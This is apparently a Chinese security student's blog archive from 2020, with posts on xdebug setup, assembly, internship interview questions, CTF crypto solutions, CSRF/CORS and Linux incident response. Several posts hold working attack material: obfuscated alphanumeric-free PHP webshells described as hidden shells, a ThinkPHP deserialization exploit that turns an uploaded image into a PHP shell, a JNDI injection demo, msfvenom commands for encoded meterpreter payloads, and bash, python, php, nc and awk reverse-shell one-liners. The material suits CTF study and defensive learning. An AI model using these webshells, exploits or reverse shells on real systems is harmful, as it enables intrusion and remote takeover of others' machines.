As part of its output it should show:

Configuring for:
...
Zend Module Api No:      20170718
Zend Extension Api No:   320170718

If it does not, you are using the wrong phpize. Please follow this FAQ entry and skip the next step.

Run: ./configure
Run: make
Run: cp modules/xdebug.so /usr/lib/php/20170718
Update /etc/php/7.2/cli/php.ini and change the line
zend_extension = /usr/lib/php/20170718/xdebug.so
Please also update php.ini files in adjacent directories, as your system seems to be configured with a separate php.ini file for the web server and command line.

重点是后面几个步骤：

cp modules/xdebug.so /usr/lib/php/20170718
修改 /etc/php/7.2/cli/php.ini 文件内容，加上
```
zend_extension = /usr/lib/php/20170718/xdebug.so
```
然后还需要修改 /etc/php/7.2/apache2 目录下的 php.ini 这个才是web的

如图， cli 目录是命令行， apache2 才是web的

之后还需要修改 mods-available 目录下的文件

pxy@pxy-VirtualBox:/etc/php/7.2/mods-available$ cat xdebug.ini 
;zend_extension=xdebug.so
xdebug.remote_enable = 1
xdebug.remote_port = 9000
;xdebug.idekey = PHPSTORM
xdebug.remote_host=localhost
xdebug.remote_autostart = 1
xdebug.show_error_trace = 1

最后需要在web和cli下的 conf.d 中做一次软链接

至此xdebug+vscode就配置好了

汇编从入门到入土六

Mon, 20 Apr 2020 00:00:00 GMT

mul和div

mul指令

两个相乘的数，如果都为8位，其中一个默认存放在AL，另一个放在8位寄存器或者内存字节单元中，结果是16位的，默认存放在AX中
两个相乘的数，如果都为16位，其中一个默认存放在AX，另一个放在16位寄存器或者内存字单元中，结果是32位的，高位默认存放在DX中，低位存放在AX中

div指令

除数有8位和16位，存放在reg或者内存单元
除数为8位，被除数为16位，被除数默认存放在AX中。除数为16位，被除数为32位，被除数高位存放在DX中，低位存放在AX中
结果，除数为8位，商存储在AL，余数存储在AH。除数为16位，商存储在AX，余数存储在DX

实验九打印

打印helloworld

尤其要注意 mov al, [bp]，这里是取出

assume cs:code

data segment
    db 'Hello World'
    db 24h
    dw 1824 
data ends

code segment

start:
    mov ax,data
    mov ds,ax

    mov ax, 0b800h
    mov es, ax

    mov si,0
    mov di,0

    mov bx, ds:[12]
    mov bp, ds:[11]

    mov cx, 11
s:
    mov al, ds:[si]
    mov es:[bx+di], al
    mov al, [bp]
    mov es:[bx+di+1], al

    inc si
    add di,2
    loop s

    mov ax,4c00h
    int 21h

code ends
end start

2020年的实习面试经过

Sun, 19 Apr 2020 00:00:00 GMT

2020年的实习面试经过

从2月到4月，中间大大小小经历了20次左右的面试，记录一下

长亭

自我介绍
tomcat AJP漏洞了解过吗
Java反序列化漏洞
JNDI注入，Java7和Java8的区别(这里确实是自己挖坑了，简历上写了自己会Java审计，JNDI注入等，但是并没有仔细准备，结果面试官抓着Java不放)
XXE如果无法联网怎么利用(三层嵌套报错XXE或者利用系统自带的DTD文件)
你比较擅长的方面

不知道为啥和长亭面试官聊起来挺尬的。最后也只面试了20分钟就结束了，当然结果是凉凉了

字节跳动-企业应用安全

一面

具体的一个代码审计案例
说一下你知道的四种漏洞的原理，利用，危害和防御
XSS知道吗
说一下前端漏洞中你比较熟悉的
python沙盒逃逸
你觉得自己的优势是什么
对未来的规划

字节跳动一面官感觉挺棒的，全程在引导你，而且特别尊重你说出自己的看法

二面

简单问了几个小问题，python沙盒逃逸，JavaScript原型链污染
有没有了解过electron框架（就是开发vscode的，我说没有，但是我知道vue
vue怎么防御csrf(我不太了解vue怎么防范，先说一些怎么防CSRF balabal)
提示vue是通过ajax和后端连接，我：哦想起来了，那就用CORS来防御，然后说了CORS的防御
继续问。CORS分为简单请求和非简单请求，一个POST请求怎么区分
java做过哪些
mXSS了解吗
参数压栈入栈简单说下
你怎么将CTF学到的用到实战
go有没有了解

二面面试官也挺棒的，唯一的问题就是。。。他家的小孩子太吵了。。几次打断我的思路

三面

三面是部门leader面，本来以为会继续问技术的，结果。。问了一堆人生相关的问题，而且回答的不好，没有完全表现出自己的水平。。

第一次打CTF的经历(就是由于一开始的这个问题导致我后面都在说CTF，可能leader觉得我的眼界太小了吧)
你对未来的规划(这种问题真心不好回答)
你是怎么选择上这个专业的
你认为你还有哪些技能需要完善
你觉得学习编程语言需要注意哪些
go的垃圾回收机制(这个真是自己多嘴了，不该说自己学了点go的，这个问题没答上来)
go的并发机制有哪些(我就知道channel。。)

周五面试完，下周一结果出来后就凉凉了，之后转岗到安全与风控部门，结果这是个开发岗，问的问题都是和编程有关的

只记录了几个问题：

http1.0和1.1的区别
hashtable的原理
进程和线程的区别
进程间通信的方式
hash冲突解决
tcp和udp协议
用c语言实现双链表的插入和删除

面试了一个多小时。。最后面试官说看了我的博客觉得我在漏洞挖掘，渗透这块还行，建议我投其他的部门，我说我就是转岗过来的。。。

知道创宇 - 404实验室

知道创宇是3月5号投递的，结果3月底才安排面试，以至于我都忘记投递了。

分享几个cms漏洞挖掘的案例
代码审计的思路
假设一个cms你找到了一个反序列化的入口，如何挖掘POP链
如果cms中找不到POP链怎么利用(不知道，面试官告诉我可以用内置的类进行反序列化)
印象最深的一道CTF题
解释一下js的原型链污染
说一下你对tomcat AJP漏洞的分析
除了CTF，代码审计你还从哪里学安全知识
储存型XSS但是httponly了怎么利用
说一下redis主从复制漏洞
解释一下python的全局变量锁
python什么时候会用到多线程，什么时候用到多进程
为什么python的多线程是伪多线程
开发一个cms自动化代码审计的工具你有哪些思路

腾讯-应用运维安全

我后来才知道腾讯面试的流程，首先有一个公共的简历池，之后每个部门在里面捞简历，一般看到一份还行的简历会打电环了解一下情况(所以我接了好几个了解情况的电话)，之后如果要面试的话需要锁定这一份简历，这样的话其他部门就无法面试你，只有锁定简历的部门才行。

两轮电话了解情况之后，我的简历投到了应用运维安全，具体哪个事业群不知道

一面

入侵响应
重置密码逻辑漏洞
RMI 利用的一个流程
flask SSTI 漏洞
XSS怎么防护
CSP如何绕
安全开发流程
JavaScript 闭包
常用远程控制软件
SQL过滤了单引号怎么绕过
SQL注入如何防护
Linux查看进程和查看端口的命令

之后网申的页面提示进入了复试阶段，但是一直没更新。直到变灰。

腾讯-后台策略安全

本来以为腾讯没希望了，人都去新疆给做培训了，结果腾讯微信事业群联系我问有没有意向

4.9 0面

问了大概一个多小时，感觉就是提前了解情况，后来才知道也不是一面。姑且叫做0面好了，面完之后也没有做记录，只有靠回忆了

说一下python沙盒逃逸
了解过nodejs的沙盒逃逸吗
说一下JavaScript原型链污染
dll注入了解过吗
二进制程序常见的壳，脱壳的方法
了解过大数据吗
编程题: 将一个数组的奇数移到前面，偶数移到后面

4.11 一面

https和http的区别
http怎么防止运营商篡改你的流量
操作系统进程通信方式
XSS和CSRF
二次注入
web安全有没有总结一些方法论什么的
操作系统的最小调度单位是什么，操作系统资源分配的最小单位是什么，如果一个进程crash了，它的线程会发生什么
tcp为啥要三次握手，两次和四次不行吗
脱壳的方式
编程题：二分查找

4.13 二面

这一面感觉面的挺尬的，面完后还觉得自己凉了，面完之后每天都忍不住去看官网的状态

有没有渗透攻防经历
逆向了解过哪些
小程序游戏，比如跳一跳，怎么防止查重
二进制安全学习过哪些.
java安全学习过哪些
apk逆向了解不
java的hashtable实现原理
hash泛洪攻击了解吗
tcp泛洪攻击
你认为你相比其他人的优势
你玩过哪些微信游戏
内容安全了解吗
编程题：数组去重

4.17 三面

第一次在机场面试。。实在是没办法，这是腾讯校招的最后一天必须得面完

然而面试官问我的问题我都没听明白

怎么检测开发者绕过我们设定的策略
如何检测内容安全
如何防止外挂
你还有什么补充的(然后我就开始跑火车了)

由于在机场，面试也只持续了半个小时左右

4.18 hr面

你认为你相对别人的优势
之前没有实习经历
之前有投递过其他的安全公司吗
你觉得这个岗位和你相契合吗
你父母的工作，你父母对你的影响

聊了大概大概十分钟，面试官声音很有特点。面试的邀请函都是4.18号凌晨发过来的，估计在加班hhhh

阿里

2月底的时候看到博客园的一个师傅，首页上写着阿里云云安全团队长期招收实习生，于是联系了他，做了一次简单的非正式面试，校招开始的时候也是他帮我内推的

一面

一面很水，不到二十分钟，感觉就是简单了解了情况

二面

渗透测试有没有做过
怎么检测反弹shell
怎么检测黑客入侵Linux服务器
structs2漏洞说一下
cms审计说一说
系统提权说一说
有没有做过演讲
安全方面有哪些成就
IOT哪些产出

答得不是很好，结果凉凉

华为

笔试

华为这次笔试感觉真的难，只有单选，不定项选(少选不给分)，和一道编程题

fuzz框架考了很多，而且都是问用处，但是我都不知道
Linux的操作也考了一些，比如 /etc/profile 文件中设置的环境变量对所有用户都生效
web安全，有直接给源码问你漏洞点的，还有一些基本概念，这个反倒是不难
二进制安全，有一道直接考ROP链的，让你选择栈布局

不知道还有没有后续的面试

总结

校招还是比较看重基础，但是对于偏乙方的比如长亭和知道创宇可能要求你有一些比较擅长的点，而且会问的比较细。大厂主要是看你的基础知识是不是很扎实。感觉面试的很多问题都是可以直接从网上找到答案的，但是还是要拿来问emmm。最后，感觉面试真是3分运气，7分实力，不过不到最后也不要轻言放弃，万一呢，万一呢。

密码学题目

Sat, 18 Apr 2020 00:00:00 GMT

记录一下ctf.show平台

https://ctf.show/challenges

crypto0

凯撒密码

crypto2

jsfuck

crypto3

还是jsfuck编码

crypto4

p=447685307 q=2037 e=17

提交flag{d}即可



'''
给出p,q,e 求d
'''
# p = 3487583947589437589237958723892346254777
# q = 8767867843568934765983476584376578389
# e = 65537
p=18443
q=49891
e=19
phin = (p - 1) * (q - 1)
print gmpy2.invert(e, phin)

crypto5

p=447685307 q=2037 e=17 c=704796792

提交flag{m}



'''
给出p,q,e,c 求d和m
'''
p=447685307
q=2037
e=17
c=704796792
phin = (p - 1) * (q - 1)
d = gmpy2.invert(e, phin)
print pow(c,d,p*q)

crypto7

ook解密

https://www.splitbrain.org/services/ook

flag{b615c4b79a1aede83b9ae67104ff4eb5}

crypto8

brainfuck解密

flag{99754106633f94d350db34d548d6091a}

crypto9

密码是4132

http://serpent.online-domain-tools.com/

crypto10

邮件编码

crypto11

解密后就是ctf

crypto13

混合加密


def base(s):
    try:
        s = base64.b32decode(s)
        s = base(s)
    except:
        try:
            s = base64.b64decode(s)
            s = base(s)
        except:
            return s
    return s
f = open('base.txt')

text = f.read()

print(base(text))

flag{b4Se_Fami1y_Is_FUn}

无字母数字webshell

Sun, 05 Apr 2020 00:00:00 GMT

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

通过异或

原理

php > echo chr(0x01)^'`';
a
php > echo chr(0x13)^'`';
s
php > echo chr(0x05)^'`';
e

所以即可构造：

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_=assert
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__ = _POST
$___=$$__; //$___ = $_POST
$_($___[_]);// assert($_POST[_])

在 php5.5.38 通过测试

但是如果切换为 php7.1.3 执行失败

构造webshell

通过这种方式可以构造异或形式的webshell

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

0=assert&1=phpinfo()

在 AWD 中常用来做隐藏的shell

当然这种马是直接被杀的

绕过长度限制

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

首先我们得知道 _GET 由什么异或而来的，参考

<?php
    echo "`{{{"^"?<>/";//_GET
?>

这段代码一大坨是啥意思呢？因为 40 个字符长度的限制，导致以前逐个字符异或拼接的 webshell 不能使用。
这里可以使用 php 中可以执行命令的反引号 ``` 和 Linux 下面的通配符 ?

? 代表匹配一个字符
``` 表示执行命令
" 对特殊字符串进行解析

这样就可以直接得到

php > echo "`{{{"^"?<>/";
_GET

然后再构造

${$_}[_](${$_}[__]) //$_GET[_]($_GET[__])

这样就构造好了shell

通过取反

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

通过加法运算

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Linux应急响应

Fri, 03 Apr 2020 00:00:00 GMT

入侵排查思路

账号安全

用户信息文件/etc/passwd

root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名：密码：用户ID：组ID：用户说明：家目录：登陆之后shell

注意：无密码只允许本机登陆，远程不允许登陆

/etc/shadow 文件

root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名：加密密码：密码最后一次修改日期：两次密码的修改时间间隔：密码有效期：密码修改到期到的警告天数：密码过期之后的宽限天数：账号失效时间：保留

历史命令

history 查看历史命令
打开/home各帐号目录下的.bash_history，查看普通帐号的历史命令

保存一万条命令

sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

增加ip信息

######jiagu history xianshi#########
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi

shopt -s histappend

######### jiagu history xianshi ##########

source /etc/profile 让配置生效

反弹shell原理及其检测思路

Fri, 03 Apr 2020 00:00:00 GMT

反弹shell的原理

文件描述符与重定向

先来看这个

第一个 > 符号，将标准输出的内容重定向到文件 test.txt

第二个 < 符号，似乎不太好理解？

在我们的印象中，cat似乎就是用来读文件的，但是实际上，cat还可以这么用：

也就是说，我们输入的数据，cat 会原封不动的打印出来

cat 可以接收标准输入的数据，将其打印在标准输出(屏幕)上

于是我们就可以将标准输入这个文件描述符指向 test.txt，从而打印其内容

实际上，

< 称为输入重定向符，< 等价于 0<
> 称为输出重定向符， > 等价于1>

不行你看

实际上，Linux中总共提供了三个文件描述符

0 标准输入
1 标准输出
2 标准错误输出

这三个文件描述符，实际上就是三个指针，我们可以随时改变它们的指向。比如上文提到的，将标准输出指向了一个文件，将标准输入也指向了一个文件。

同样的，标准错误输出也可以重定向到一个文件中，不过由于 > 默认等价于 1>，所以我们需要写明

文件描述符与重定向进阶

反序列化题目整理

Wed, 01 Apr 2020 00:00:00 GMT

qwb upload

当初学的时候挺难的，现在做起来觉得挺简单了

入口 Register.php

public function __destruct()
{
    if(!$this->registed){
        $this->checker->index();
    }
}

调用 checker 属性的 index 方法，如果不存在，就会调用某个类的 __call 方法

正好有一个 Profile.php

public function __get($name)
{
    return $this->except[$name];
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

那么就可以通过 __call 去调用其他的方法了，这里我们选择

public function upload_img(){
    if($this->checker){
        if(!$this->checker->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
    }

    if(!empty($_FILES)){
        $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
        $this->filename=md5($_FILES['upload_file']['name']).".png";
        $this->ext_check();
    }
    if($this->ext) {
        if(getimagesize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);
            @unlink($this->filename_tmp);
            $this->img="../upload/$this->upload_menu/$this->filename";
            $this->update_img();
        }else{
            $this->error('Forbidden type!', url('../index'));
        }
    }else{
        $this->error('Unknow file type!', url('../index'));
    }
}

checker 属性可控，ext 属性可控

进入到 @copy($this->filename_tmp, $this->filename); 即可将图片马改名

这题复盘的时候比较玄学，挺难成功的

调试过程

之后即可修改文件名

exp

<?php
namespace app\web\controller;
use think\Controller;

class Register
{
    public $checker;
    public $registed = false;
    public function __construct($checker){
        $this->checker = $checker;
    }
}

class Profile
{   # 先上传一个图片马shell.png，保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
    public $filename_tmp = './upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png';
    public $filename = './upload/2e25bf05f23b63a5b1f744933543d723/shell.php';
    public $ext = true;
    public $except = array('index' => 'upload_img');
}

$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

jndi入门

Sun, 22 Mar 2020 00:00:00 GMT

基本概念

JNDI(Java Naming and Directory Interface),名为 Java命名和目录接口，JNDI是Java API，允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中，例如远程方法调用（RMI），公共对象请求代理体系结构（CORBA），轻型目录访问协议（LDAP）或域名服务（DNS）。放两张直观的图

从图中可以看出，JNDI相当于是更进一步的封装

JNDI自身并不区分客户端和服务器端，也不具备远程能力，但是被其协同的一些其他应用一般都具备远程能力，JNDI在客户端和服务器端都能够进行一些工作，客户端上主要是进行各种访问，查询，搜索，而服务器端主要进行的是帮助管理配置，也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind，而使用JNDI统一管理，当然JNDI底层应该还是调用的Registry的bind，但好处JNDI提供的是统一的配置接口；在客户端也可以直接通过类似URL的形式来访问目标服务，

示例

/**
 * @description:
 * @author: Pxy
 * @create: 2020-03-22 16:34
 **/






public class test {
    public static void initPerson() throws Exception{
        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息，会出现NoInitialContextException异常
        LocateRegistry.createRegistry(3001);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");
        ////初始化
        InitialContext ctx = new InitialContext();
        //实例化person对象
        Person p = new Person();
        p.setName("pxy");
        p.setPassword("12345");
        //person对象绑定到JNDI服务中，JNDI的名字叫做：person，即我们可以通过person键值，来对Person对象进行索引
        ctx.bind("person", p);
        ctx.close();

    }
    public static void findPerson() throws Exception{

        //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中，这里就不用在绑定了
        InitialContext ctx = new InitialContext();
        //通过lookup查找person对象
        Person person = (Person) ctx.lookup("person");
        System.out.println(person.toString());

//        ctx.lookup("rmi://127.0.0.1:1099/Exploit");
        ctx.close();
    }
    public static void main(String[] args) throws Exception {
        initPerson();
        findPerson();
    }
}

首先生成一个工厂，然后将对象绑定上，再去访问

JNDI协议动态转换

上面的Demo里面，在初始化就预先指定了其上下文环境(RMI),但是在调用 lookup() 时，是可以使用带 URI 动态的转换上下文环境，例如上面已经设置了当前上下文会访问 RMI 服务，那么可以直接使用 RMi的 URI 格式去转换(该变)上下文环境，使之访问 RMI 服务上的绑定对象：

Person person = (Person) ctx.lookup("rmi://localhost:3001/person");

JNDI注入

那么如果 lookup 的参数可控呢？

比如将其改为

ctx.lookup("rmi://127.0.0.1:1099/Exploit");

Exploit.java

/**
 * @description:
 * @author: Pxy
 * @create: 2020-03-22 16:37
 **/
public class Exploit {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc.exe"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译好之后，放到一个web目录下

然后开启RMI服务

java.exe -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8002/#Exploit 1099

运行即可弹出计算器

在调试的时候遇到了一个问题，java版本不兼容，由于我电脑上存在java7和java8，会报错

https://stackoverflow.com/questions/22489398/unsupported-major-minor-version-52-0

spring JNDI注入

利用链：

JtaTransactionManager

跟进 initUserTransactionAndTransactionManager

继续跟进 lookupUserTransaction 方法

可以看到调用了lookup,而且我们可以看到整个调用链只要我们可控userTransactionName就可以,

调用链比较简单，最后控制属性即可

org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

CSRF相关总结

Thu, 19 Mar 2020 00:00:00 GMT

刚开始想写这篇文章的时候有点纠结分类，感觉归类到CTF不是很好，因为在CTF中就没遇到过，归类到渗透测试呢，又感觉不太对23333，算了还是丢到渗透测试吧

同源策略(SOP)

SOP影响范围包括：普通的HTTP请求、XMLHttpRequest、XSLT、XBL。

同源是指，域名，协议，端口相同

跨域的种类

协议不同
端口不同
主域名不同
子域名不同

允许跨域的标签

<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>

同源策略虽然感觉很陌生，但确实前端的基石，地位类似于在牛顿定律在力学中的地位

试想没有同源策略的话，那么任何一个网页都可以随意操控其他网页的数据，那真的是web世界的灾难。就像牛顿定律如果失效，估计地球都不知道怎么绕太阳转了

重点：

跨域并不是请求发不出去，请求能发出去，服务端能收到请求并正常返回结果，只是结果被浏览器拦截了。你可能会疑问明明通过表单的方式可以发起跨域请求，为什么 Ajax 就不会?因为归根结底，跨域是为了阻止用户读取到另一个域名下的内容，Ajax 可以获取响应，浏览器认为这不安全，所以拦截了响应。但是表单并不会获取新的内容，所以可以发起跨域请求。同时也说明了跨域并不能完全阻止 CSRF，因为请求毕竟是发出去了。

如何跨域？

跨域是必须的，因为同源策略的限制太严格了，子域名居然也和域名不同源！

设置window.domain

浏览器允许通过设置 document.domain 来共享cookie

cookie本身的domain属性

cookie本身可以设置 domain 属性，指定Cookie的所属域名为一级域名，比如.example.com。那么二级和三级域名也可以读取到cookie

jsonp跨域

声明一个回调函数，其函数名(如show)当做参数值，要传递给跨域请求数据的服务器，函数形参为要获取目标数据(服务器返回的data)。

创建一个<script>标签，把那个跨域的API数据接口地址，赋值给script的src,还要在这个地址中向服务器传递该函数名（可以通过问号传参:?callback=show）。

服务器接收到请求后，需要进行特殊的处理：把传递进来的函数名和它需要给你的数据拼接成一个字符串,例如：传递进去的函数名是show，它准备好的数据是show('我不爱你')。

最后服务器把准备的数据通过HTTP协议返回给客户端，客户端再调用执行之前声明的回调函数（show），对返回的数据进行操作。

一个典型的jsonp攻击的代码

<script>
function wooyun(v){
    alert(v.username);
}
</script>
<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

发送请求过去之后，服务端返回了数据，然后就被弹出来了

遇到过的一个CTF题目

<script/src=&unit=https://www.google.com/complete/search?client=chrome&q=hello&callback=alert></script>

防御jsonp攻击

验证 JSON 文件调用的来源（ Referer ）。这个方案是主要利用了 <script> 远程加载 JSON 文件时会发送 Referer ，在网站输出 JSON 数据时判断 Referer 是不是白名单合法的就可以进行防御！这个方法是可行的

正则过滤不严谨
空referer

CORS 跨域资源共享

允许浏览器向跨源服务器，发出XMLHttpRequest请求，从而克服了AJAX只能同源使用的限制。

区分简单请求和非简单请求：

（1) 请求方法是以下三种方法之一：

HEAD
GET
POST
（2）HTTP的头信息不超出以下几种字段：

Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type：只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain

满足以上要求即是简单请求

重点在最后一句：

Content-Type：只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain

对于简单请求，浏览器直接发出CORS请求。具体来说，就是在头信息之中，增加一个Origin字段。这个字段用来说明，本次请求来自哪个源（协议 + 域名 + 端口）。服务器根据这个值，决定是否同意这次请求。

如果Origin指定的域名在许可范围内，服务器返回的响应，会多出几个头信息字段。

Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8

Access-Control-Allow-Origin：要么是 origin 的值，要么就是 *

Access-Control-Allow-Credentials: 它的值是一个布尔值，表示是否允许发送Cookie。如果不要的话就删除这个字段

Access-Control-Expose-Headers：如果想拿到其他字段，就必须在Access-Control-Expose-Headers里面指定。

CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器，一方面要服务器同意，指定Access-Control-Allow-Credentials字段。

cookie属性

cookie的五大属性:“path, domain, expire, HttpOnly, Secure”，很少有人了解到cookie还有一个SameSite属性，这是一个专门用于防止csrf漏洞的属性。

http-only:

浏览器会禁止页面中的 JavaScript 访问带有 HttpOnly 属性的 Cookie

domain

domain标识域，如域A为t1.test.com，域B为t2.test.com，那么在域A生产一个令域A和域B都能访问的cookie就要将该cookie的domain设置为.test.com

expire

过期时间

Secure

当设置为true时，表示创建的 Cookie 会被以安全的形式向服务器传输，也就是只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证，如果是 HTTP 连接则不会传递该信息，所以不会被窃取到Cookie 的具体内容。

path

path表示cookie所在的目录

cookie分类

防护

samsite属性

面试真实问题：vue开发的前后端项目如何避免CSRF？

查到的解决方案：

如果后端用Django开发，可以通过传递CSRF token过来

内网渗透常见知识

Wed, 18 Mar 2020 00:00:00 GMT

msf常用命令

msfvenom

参数：

-l 列出相关的值，这些值包括 payloads, encoders, nops, platforms, archs, encrypt, formats, all
-b badchar 参数被设置的时候，它的值中描述的字符将会被避免出现在 Payload 中
-e 开启payload编码

msfvenom -l encoders 列出所有的编码器

其中比较强大的有：

x86/shikata_ga_nai, cmd/powershell_base64

-i 指定编码次数
-x 指定一个特定的可执行文件作为模板，常与 -k 联合使用，保护模板程序的功能，注入的payload作为一个新的进程运行
-n 指定填充的nop数量

常用payload生成命令

Windows (避免坏字节的出现)

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

Android

//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk

powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

php

msfvenom -p php/meterpreter_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw > shell.php

war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war

war包和jar包区别：

war包是java web打的包，可以直接丢到tomcat的webapp目录下运行，jar包是java应用程序打的包，像spring boot打包就是jar，因为内置了web服务器

python

msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py

Windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

Linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

常用反弹shell

github项目：https://github.com/m0rph-1/revshellgen 可以很方便地生成各种形式的反弹shell命令

bash反弹shell

~/revshellgen (master ✔) ᐅ python revshellgen.py -i 127.0.0.1 -p 1234 -t bash

[+] Reverse shell command:

bash -i >& /dev/tcp/127.0.0.1/1234 0>&1

python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php反弹shell

php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

nc反弹shell

ncat 127.0.0.1 1234 -e /bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f

awk反弹shell

awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

nc-pipe

